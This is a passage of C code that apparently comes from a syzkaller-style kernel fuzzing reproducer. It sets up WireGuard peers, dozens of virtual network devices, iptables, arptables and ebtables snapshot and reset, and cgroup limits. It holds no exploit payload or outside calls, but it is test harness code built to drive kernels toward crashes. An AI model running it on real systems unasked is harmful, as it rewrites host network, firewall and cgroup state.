netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN)
return -1;
if (errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct ipt_get_entries entries;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct ipt_get_entries entries;
struct ipt_getinfo info;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
struct arpt_get_entries entries;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct arpt_get_entries entries;
struct arpt_getinfo info;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
socklen_t optlen;
unsigned i, j, h;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
